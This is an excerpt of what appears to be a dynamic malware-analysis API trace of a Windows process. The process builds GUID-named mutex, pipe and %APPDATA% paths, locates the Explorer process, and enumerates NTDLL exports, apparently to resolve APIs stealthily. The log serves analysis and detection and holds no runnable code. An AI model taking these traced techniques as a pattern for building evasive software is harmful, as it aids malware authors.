(HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.262] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned 38 [0073.262] lstrlenA (lpString="Local\\") returned 6 [0073.262] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242d8d0 [0073.262] lstrcpyA (in: lpString1=0x242d8d0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.262] lstrcatA (in: lpString1="Local\\", lpString2="{CE377949-D5DC-3008-CFE2-D96473361DD8}" | out: lpString1="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}" [0073.262] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.262] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.262] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned 38 [0073.262] lstrlenA (lpString="\\\\.\\pipe\\") returned 9 [0073.262] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x30) returned 0x242d910 [0073.262] lstrcpyA (in: lpString1=0x242d910, lpString2="\\\\.\\pipe\\" | out: lpString1="\\\\.\\pipe\\") returned="\\\\.\\pipe\\" [0073.262] lstrcatA (in: lpString1="\\\\.\\pipe\\", lpString2="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" | out: lpString1="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" [0073.262] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.262] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.262] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 38 [0073.262] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0073.262] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x3b) returned 0x242d950 [0073.262] lstrcpyA (in: lpString1=0x242d950, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0073.262] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0073.262] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.262] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.262] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 38 [0073.262] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0073.262] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x3b) returned 0x242d9a0 [0073.262] lstrcpyA (in: lpString1=0x242d9a0, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0073.262] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: lpString1="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" [0073.262] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.262] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.262] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 38 [0073.262] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0073.262] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x3b) returned 0x242d9f0 [0073.262] lstrcpyA (in: lpString1=0x242d9f0, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0073.263] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" | out: lpString1="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" [0073.263] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.263] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.263] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 38 [0073.263] lstrlenA (lpString="Local\\") returned 6 [0073.263] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242da40 [0073.263] lstrcpyA (in: lpString1=0x242da40, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.263] lstrcatA (in: lpString1="Local\\", lpString2="{A3415127-A63A-CD11-C887-3A517CAB0E15}" | out: lpString1="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}" [0073.263] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.263] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.263] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{70017650-0FA6-225C-19A4-B3765D18970A}") returned 38 [0073.263] lstrlenA (lpString="Local\\") returned 6 [0073.263] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242da80 [0073.263] lstrcpyA (in: lpString1=0x242da80, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.263] lstrcatA (in: lpString1="Local\\", lpString2="{70017650-0FA6-225C-19A4-B3765D18970A}" | out: lpString1="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}" [0073.263] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.263] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.263] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 38 [0073.263] lstrlenA (lpString="Local\\") returned 6 [0073.263] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242dac0 [0073.263] lstrcpyA (in: lpString1=0x242dac0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.263] lstrcatA (in: lpString1="Local\\", lpString2="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" | out: lpString1="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" [0073.263] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.263] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.263] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 38 [0073.263] lstrlenA (lpString="Local\\") returned 6 [0073.263] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242db00 [0073.263] lstrcpyA (in: lpString1=0x242db00, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.263] lstrcatA (in: lpString1="Local\\", lpString2="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" | out: lpString1="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" [0073.263] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.263] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.263] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{8628A1FE-2D66-A811-E71A-B15C0BEE7550}") returned 38 [0073.263] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242db40 [0073.263] lstrcatA (in: lpString1="", lpString2="{8628A1FE-2D66-A811-E71A-B15C0BEE7550}" | out: lpString1="{8628A1FE-2D66-A811-E71A-B15C0BEE7550}") returned="{8628A1FE-2D66-A811-E71A-B15C0BEE7550}" [0073.263] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.263] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76f40000 [0073.263] GetProcAddress (hModule=0x76f40000, lpProcName="GetWindowThreadProcessId") returned 0x76f50a90 [0073.264] GetProcAddress (hModule=0x76f40000, lpProcName="FindWindowA") returned 0x76f68270 [0073.264] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0073.264] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x23ee70 | out: lpdwProcessId=0x23ee70) returned 0x45c [0073.264] lstrlenW (lpString="") returned 0 [0073.264] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xcc [0073.264] RtlAddVectoredExceptionHandler (FirstHandler=0x0, VectoredHandler=0x1e0be4c) returned 0x4119d0 [0073.264] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x70) returned 0x242db70 [0073.264] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="{8628A1FE-2D66-A811-E71A-B15C0BEE7550}") returned 0xd4 [0073.264] GetLastError () returned 0x0 [0073.264] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x18) returned 0x242d500 [0073.264] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0073.264] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0073.265] GetModuleHandleA (lpModuleName="kernelbase") returned 0x7fefd330000 [0073.265] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x1058) returned 0x242dbf0 [0073.265] GetProcAddress (hModule=0x7fefd710000, lpProcName="GetUserNameA") returned 0x7fefd71dc20 [0073.265] GetUserNameA (in: lpBuffer=0x0, pcbBuffer=0x23ee80 | out: lpBuffer=0x0, pcbBuffer=0x23ee80) returned 0 [0073.277] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x12) returned 0x242ec50 [0073.277] GetUserNameA (in: lpBuffer=0x242ec50, pcbBuffer=0x23ee80 | out: lpBuffer="aETAdzjz", pcbBuffer=0x23ee80) returned 1 [0073.277] GetCurrentThreadId () returned 0xb94 [0073.277] GetProcAddress (hModule=0x76f40000, lpProcName="GetThreadDesktop") returned 0x76f5a850 [0073.277] GetThreadDesktop (dwThreadId=0xb94) returned 0x38 [0073.277] GetProcAddress (hModule=0x76f40000, lpProcName="GetUserObjectInformationA") returned 0x76f4777c [0073.277] GetUserObjectInformationA (in: hObj=0x38, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x23ee78 | out: pvInfo=0x0, lpnLengthNeeded=0x23ee78) returned 0 [0073.278] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x10) returned 0x242ec70 [0073.278] GetUserObjectInformationA (in: hObj=0x38, nIndex=2, pvInfo=0x242ec70, nLength=0x10, lpnLengthNeeded=0x23ee78 | out: pvInfo=0x242ec70, lpnLengthNeeded=0x23ee78) returned 1 [0073.278] lstrlenA (lpString="Default") returned 7 [0073.278] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ec70 | out: hHeap=0x2030000) returned 1 [0073.278] GetProcAddress (hModule=0x76f40000, lpProcName="CloseDesktop") returned 0x76f4d850 [0073.278] CloseDesktop (hDesktop=0x38) returned 0 [0073.278] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0073.278] lstrlenA (lpString="A_SHAFinal") returned 10 [0073.278] lstrlenA (lpString="A_SHAInit") returned 9 [0073.278] lstrlenA (lpString="A_SHAUpdate") returned 11 [0073.278] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0073.278] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0073.278] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0073.278] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0073.278] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0073.278] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0073.278] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0073.278] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0073.278] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0073.278] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0073.278] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0073.278] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0073.278] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0073.278] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0073.278] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0073.278] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0073.278] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0073.278] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0073.278] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0073.278] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0073.278] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0073.278] lstrlenA (lpString="CsrClientCallServer") returned 19 [0073.278] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0073.279] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0073.279] lstrlenA (lpString="CsrGetProcessId") returned 15 [0073.279] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0073.279] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0073.279] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0073.279] lstrlenA (lpString="DbgBreakPoint") returned 13 [0073.279] lstrlenA (lpString="DbgPrint") returned 8 [0073.279] lstrlenA (lpString="DbgPrintEx") returned 10 [0073.279] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0073.279] lstrlenA (lpString="DbgPrompt") returned 9 [0073.279] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0073.279] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0073.279] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0073.279] lstrlenA (lpString="DbgUiContinue") returned 13 [0073.279] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0073.279] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0073.279] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0073.279] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0073.279] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0073.279] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0073.279] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0073.279] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0073.279] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0073.279] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0073.279] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0073.279] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0073.279] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0073.279] lstrlenA (lpString="EtwEventEnabled") returned 15 [0073.279] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0073.279] lstrlenA (lpString="EtwEventRegister") returned 16 [0073.279] lstrlenA (lpString="EtwEventUnregister") returned 18 [0073.279] lstrlenA (lpString="EtwEventWrite") returned 13 [0073.279] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0073.279] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0073.279] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0073.279] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0073.279] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0073.279] lstrlenA (lpString="EtwEventWriteString") returned 19 [0073.279] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0073.279] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0073.279] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0073.279] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0073.279] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0073.280] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0073.280] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0073.280] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0073.280] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0073.280] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0073.280] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0073.280] lstrlenA (lpString="EtwReplyNotification") returned 20 [0073.280] lstrlenA (lpString="EtwSendNotification") returned 19 [0073.280] lstrlenA (lpString="EtwSetMark") returned 10 [0073.280] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0073.280] lstrlenA (lpString="EtwTraceMessage") returned 15 [0073.280] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0073.280] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0073.280] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0073.280] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0073.280] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0073.280] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0073.280] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0073.280] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0073.280] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0073.280] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd16") returned 32 [0073.280] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0073.280] lstrlenA (lpString="ExpInterlockedPopEntrySListFault16") returned 34 [0073.280] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0073.280] lstrlenA (lpString="ExpInterlockedPopEntrySListResume16") returned 35 [0073.280] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0073.280] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0073.280] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0073.280] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0073.280] lstrlenA (lpString="LdrAccessResource") returned 17 [0073.280] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0073.280] lstrlenA (lpString="LdrAddRefDll") returned 12 [0073.280] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0073.280] lstrlenA (lpString="LdrEnumResources") returned 16 [0073.280] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0073.280] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0073.280] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0073.280] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0073.280] lstrlenA (lpString="LdrFindResource_U") returned 17 [0073.280] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0073.280] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0073.280] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0073.280] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0073.281] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0073.281] lstrlenA (lpString="LdrGetFailureData") returned 17 [0073.281] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0073.281] lstrlenA (lpString="LdrGetKnownDllSectionHandle") returned 27 [0073.281] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0073.281] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0073.281] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0073.281] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0073.281] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0073.281] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0073.281] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0073.281] lstrlenA (lpString="LdrLoadDll") returned 10 [0073.281] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0073.281] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0073.281] lstrlenA (lpString="LdrProcessInitializationComplete") returned 32 [0073.281] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0073.281] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0073.281] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0073.281] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0073.281] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0073.281] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0073.281] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0073.281] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0073.281] lstrlenA (lpString="LdrResFindResource") returned 18 [0073.281] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0073.281] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0073.281] lstrlenA (lpString="LdrResRelease") returned 13 [0073.281] lstrlenA (lpString="LdrResSearchResource") returned 20 [0073.281] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0073.281] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0073.281] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0073.281] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0073.281] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0073.281] lstrlenA (lpString="LdrShutdownThread") returned 17 [0073.281] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0073.281] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0073.281] lstrlenA (lpString="LdrUnloadDll") returned 12 [0073.281] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0073.281] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0073.281] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0073.281] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0073.282] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0073.282] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0073.282] lstrlenA (lpString="MD4Final") returned 8 [0073.282] lstrlenA (lpString="MD4Init") returned 7 [0073.282] lstrlenA (lpString="MD4Update") returned 9 [0073.282] lstrlenA (lpString="MD5Final") returned 8 [0073.282] lstrlenA (lpString="MD5Init") returned 7 [0073.282] lstrlenA (lpString="MD5Update") returned 9 [0073.282] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0073.282] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0073.282] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0073.282] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0073.282] lstrlenA (lpString="NtAccessCheck") returned 13 [0073.282] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0073.282] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0073.282] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0073.282] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0073.282] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0073.282] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0073.282] lstrlenA (lpString="NtAddAtom") returned 9 [0073.282] lstrlenA (lpString="NtAddBootEntry") returned 14 [0073.282] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0073.282] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0073.282] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0073.282] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0073.282] lstrlenA (lpString="NtAlertThread") returned 13 [0073.282] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0073.282] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0073.282] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0073.282] lstrlenA (lpString="NtAllocateUuids") returned 15 [0073.282] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0073.282] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0073.282] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0073.282] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0073.282] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0073.282] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0073.282] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0073.282] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0073.282] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0073.282] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0073.282] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0073.282] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0073.282] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0073.283] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0073.283] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0073.283] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0073.283] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0073.283] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0073.283] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0073.283] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0073.283] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0073.283] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0073.283] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0073.283] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0073.283] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0073.283] lstrlenA (lpString="NtCallbackReturn") returned 16 [0073.283] lstrlenA (lpString="NtCancelIoFile") returned 14 [0073.283] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0073.283] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0073.283] lstrlenA (lpString="NtCancelTimer") returned 13 [0073.283] lstrlenA (lpString="NtClearEvent") returned 12 [0073.283] lstrlenA (lpString="NtClose") returned 7 [0073.283] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0073.283] lstrlenA (lpString="NtCommitComplete") returned 16 [0073.283] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0073.283] lstrlenA (lpString="NtCommitTransaction") returned 19 [0073.283] lstrlenA (lpString="NtCompactKeys") returned 13 [0073.283] lstrlenA (lpString="NtCompareTokens") returned 15 [0073.283] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0073.283] lstrlenA (lpString="NtCompressKey") returned 13 [0073.283] lstrlenA (lpString="NtConnectPort") returned 13 [0073.283] lstrlenA (lpString="NtContinue") returned 10 [0073.283] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0073.283] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0073.283] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0073.283] lstrlenA 